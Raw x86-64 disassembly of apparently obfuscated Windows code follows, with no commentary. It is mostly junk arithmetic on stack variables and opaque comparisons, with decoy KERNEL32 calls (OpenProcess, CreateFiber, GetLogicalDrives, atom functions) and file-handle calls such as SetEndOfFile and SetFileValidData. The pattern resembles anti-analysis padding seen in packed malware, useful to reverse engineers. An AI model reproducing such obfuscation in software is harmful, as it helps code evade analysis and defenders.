movzx eax, word [rsp + 0x28d8]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0xcf70]
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
shl rax, cl
mov qword [rsp + 0xd518], rax
jmp 0x140017273
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xd518]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x570]
xor eax, ecx
mov byte [rsp + 0x56d], al
mov dword [rsp + 0x7ff0], 0x8cc2
mov eax, dword [rsp + 0x7f54]
movzx ecx, al
mov eax, dword [rsp + 0x7fb8]
shr eax, cl
mov dword [0x140211394], eax
mov dword [rsp + 0x7ff4], 0xa0a2
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov dword [rsp + 0x7ff8], eax
cmp dword [rsp + 0x7ff8], 0
je 0x14001774e
jmp 0x1401f47f5
movzx eax, word [rsp + 0x28dc]
mov word [rsp + 0x28f8], ax
movzx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56f], al
mov dword [rsp + 0x7ffc], 0xba06
lea rax, [rsp + 0x28f8]
mov qword [rsp + 0x10258], rax
mov dword [rsp + 0x8000], 0x4754
mov dword [rsp + 0x8004], 0x88c0
lea rax, [rsp + 0x570]
mov qword [0x140221d98], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov dword [rsp + 0x8008], eax
cmp dword [rsp + 0x8008], 0
je 0x1400177da
jmp 0x1400178ba
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x101c8]
ja 0x140017885
movzx eax, word [rsp + 0x28d8]
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0xd2f0]
mov qword [rsp + 0x10260], rax
movabs rax, 0x7319a0a151ac94
cmp qword [rsp + 0x10260], rax
je 0x140017834
jmp 0x140017885
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7fb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7fcc], eax
movsx eax, word [rsp + 0x28f8]
movsx ecx, word [rsp + 0x28e4]
or eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
cdq
mov ecx, 0x41
idiv ecx
mov byte [rsp + 0x18b], al
jmp 0x140017916
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0xdac0]
movzx ecx, al
mov rax, qword [rsp + 0x10218]
shl rax, cl
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [0x140221d98]
mov byte [rcx], al
lea rcx, [rsp + 0x24f48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x800c], 0xa92e
mov rax, qword [rsp + 0xd2f0]
mov rcx, qword [rsp + 0x101e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
cmp dword [rsp + 0x7ff0], 0xb48a
jae 0x140017d11
movzx eax, byte [rsp + 0x18b]
movzx ecx, byte [rsp + 0x56d]
sub eax, ecx
mov byte [rsp + 0xc0], al
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x56b], al
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8010], eax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8010], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7fb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f8c], eax
mov eax, dword [rsp + 0x7ff0]
add eax, 0x98
mov dword [rsp + 0x7ff0], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
add eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10268], rax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28f0]
sub eax, ecx
mov word [rsp + 0x2708], ax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x571]
and eax, ecx
mov byte [0x140221da0], al
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7fbc], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
or eax, ecx
mov word [rsp + 0x28f8], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2708], ax
mov eax, dword [0x140211394]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x10270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10270]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
sub eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0x101e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28dc], ax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56f], al
movzx eax, word [rsp + 0x28fc]
movzx ecx, word [rsp + 0x28d8]
sub eax, ecx
mov word [0x140211390], ax
movsx eax, byte [rsp + 0x1c3]
movsx ecx, byte [rsp + 0x56b]
add eax, ecx
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0xd2f0]
mov rcx, qword [rsp + 0x101e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7fa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7f4c]
mov ecx, dword [rsp + 0x7f54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
movzx eax, byte [rsp + 0x570]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
xor eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28f0]
or eax, ecx
mov word [0x140211390], ax
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x28e4]
shl eax, cl
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x571]
and eax, ecx
mov byte [rsp + 0x56d], al
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [0x140211394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fa8], eax
jmp 0x14001794d
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
cmp dword [rsp + 0x7f7c], 0xdc34
jae 0x140018116
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28e4]
add eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x570]
add eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xf6f1
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7f98], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
sub eax, ecx
mov word [rsp + 0x1b14], ax
movzx eax, word [0x140211390]
movzx ecx, word [rsp + 0x28f0]
sar eax, cl
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0xda48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7f4c]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x10278], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10278]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7f54], eax
movzx eax, byte [0x140221da0]
movzx ecx, byte [rsp + 0x18b]
and eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x7f7c]
add eax, 0xf3
mov dword [rsp + 0x7f7c], eax
movsx eax, word [rsp + 0x28e4]
movsx ecx, word [rsp + 0x28f8]
sub eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [0x140221da0], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8014], eax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0x101e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd2f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f4c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
add eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x570], al
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56b]
or eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140211390], ax
mov rax, qword [rsp + 0xdac0]
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
sar rax, cl
mov qword [rsp + 0xd518], rax
movzx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28fc], ax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [0x140211394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov eax, dword [rsp + 0x7fcc]
mov ecx, dword [rsp + 0x7fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
movsx eax, word [rsp + 0x28f8]
movsx ecx, word [rsp + 0x1b14]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
add eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0x101e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
jmp 0x140017d2f
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140211398], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
sub eax, ecx
mov word [rsp + 0x28dc], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc0]
xor eax, ecx
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7f54]
shr eax, cl
mov dword [rsp + 0x7f8c], eax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8014], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov edx, 0x273e84
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8010], eax
mov eax, dword [rsp + 0x7fcc]
movzx ecx, al
mov eax, dword [rsp + 0x7f70]
shl eax, cl
mov dword [rsp + 0x7fa8], eax
mov eax, dword [rsp + 0x7fec]
sub eax, 0x67
mov dword [rsp + 0x7fec], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8542
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fe4], eax
movsx eax, byte [rsp + 0x56b]
movsx ecx, byte [rsp + 0x56c]
and eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [rsp + 0xc0], al
lea rdx, [rsp + 0x265d0]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x8018], eax
cmp dword [rsp + 0x7fec], 0xee56
ja 0x140018132
mov rax, qword [rsp + 0xcf70]
mov qword [0x140221d90], rax
cmp dword [rsp + 0x8004], 0xde48
je 0x140018565
movsx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28e4], ax
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8018], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
movzx eax, word [rsp + 0x28fc]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd638]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xcf70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2f0], rax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28fc]
sar eax, cl
mov word [rsp + 0x28f0], ax
mov eax, dword [rsp + 0x8004]
add eax, 0xee
mov dword [rsp + 0x8004], eax
movzx eax, byte [rsp + 0x570]
movzx ecx, byte [rsp + 0x571]
or eax, ecx
mov byte [rsp + 0xc0], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7fcc]
shl eax, cl
mov dword [0x140211398], eax
mov rax, qword [rsp + 0xdac0]
mov rcx, qword [rsp + 0xd2f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7fdc], eax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xdac0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd518], rax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28fc]
and eax, ecx
mov word [rsp + 0x28d8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7f70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x56b], al
mov eax, dword [0x140211394]
mov ecx, dword [rsp + 0x7fb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe7a4
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56d], al
jmp 0x1400182bf
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x56b]
add eax, ecx
mov byte [0x140211038], al
mov rax, qword [rsp + 0x10258]
movzx eax, word [rax]
mov word [rsp + 0x2900], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc0], al
movzx eax, word [rsp + 0x28dc]
mov word [rsp + 0x2904], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28fc]
and eax, ecx
mov word [rsp + 0x28d8], ax
cmp dword [rsp + 0x7fac], 0x9eac
jae 0x140018b23
mov eax, dword [rsp + 0x7f70]
movzx ecx, al
mov eax, dword [rsp + 0x7fcc]
shl eax, cl
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
lea rcx, str.gOXeu0.QyKiN_OjOWSy
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x28f4], ax
movzx eax, byte [rsp + 0x571]
movzx ecx, byte [rsp + 0x56f]
sar eax, cl
mov byte [rsp + 0xc0], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x801c], eax
movzx ecx, word [rsp + 0x28ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28f4], ax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x18b]
add eax, ecx
mov byte [0x140221da0], al
movzx eax, word [rsp + 0x28fc]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28f0], ax
movzx eax, byte [rsp + 0x571]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [0x140221d90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf70], rax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0x101e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd638], rax
movsx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28dc], ax
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x28e4]
sub eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
movzx ecx, word [rsp + 0x28ec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x101d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f8c]
add ecx, eax
mov eax, ecx
mov dword [0x140211394], eax
movzx eax, word [0x140211390]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f0], ax
movzx eax, byte [rsp + 0x56d]
movzx ecx, byte [rsp + 0x56f]
shl eax, cl
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2900]
xor eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
or eax, ecx
mov word [rsp + 0x28fc], ax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x570], al
mov rax, qword [rsp + 0xda48]
mov rcx, qword [rsp + 0x101c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f54], eax
mov rax, qword [rsp + 0x10210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0xcf70]
mov rcx, qword [rsp + 0xdac0]
and rcx, rax
mov rax, rcx
mov qword [0x140221d90], rax
movzx eax, byte [rsp + 0x56f]
movzx ecx, byte [rsp + 0x570]
sub eax, ecx
mov byte [rsp + 0xc0], al
lea rdx, [rsp + 0x10280]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7fbc], eax
movzx eax, word [rsp + 0x2708]
movzx ecx, word [rsp + 0x28d8]
add eax, ecx
mov rcx, qword [rsp + 0x10220]
mov word [rcx], ax
movsx eax, word [rsp + 0x2900]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28e4], ax
movsx eax, byte [rsp + 0x56e]
movsx ecx, byte [rsp + 0x56b]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov rax, qword [rsp + 0xd518]
mov rcx, qword [rsp + 0xdac0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x7f54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x7fdc], eax
mov eax, dword [0x140211398]
mov rcx, qword [rsp + 0x101d0]
mov qword [rsp + 0x10288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10288]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x101c8]
mov rcx, qword [rsp + 0x10228]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
shl eax, cl
mov rcx, qword [0x140221d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
and eax, ecx
mov word [rsp + 0x28f8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x10290], rax
movzx eax, byte [rsp + 0x571]
movzx ecx, byte [0x140221da0]
sub eax, ecx
mov byte [rsp + 0x56f], al
mov rax, qword [rsp + 0xd638]
mov rcx, qword [rsp + 0xd518]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdac0], rax
mov rax, qword [0x140221d90]
mov rcx, qword [rsp + 0xd638]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov eax, dword [rsp + 0x7fac]
add eax, 0x48
mov dword [rsp + 0x7fac], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
sub eax, ecx
mov word [rsp + 0x28fc], ax
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7f4c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10228]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
jmp 0x1400185e8
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f70], eax
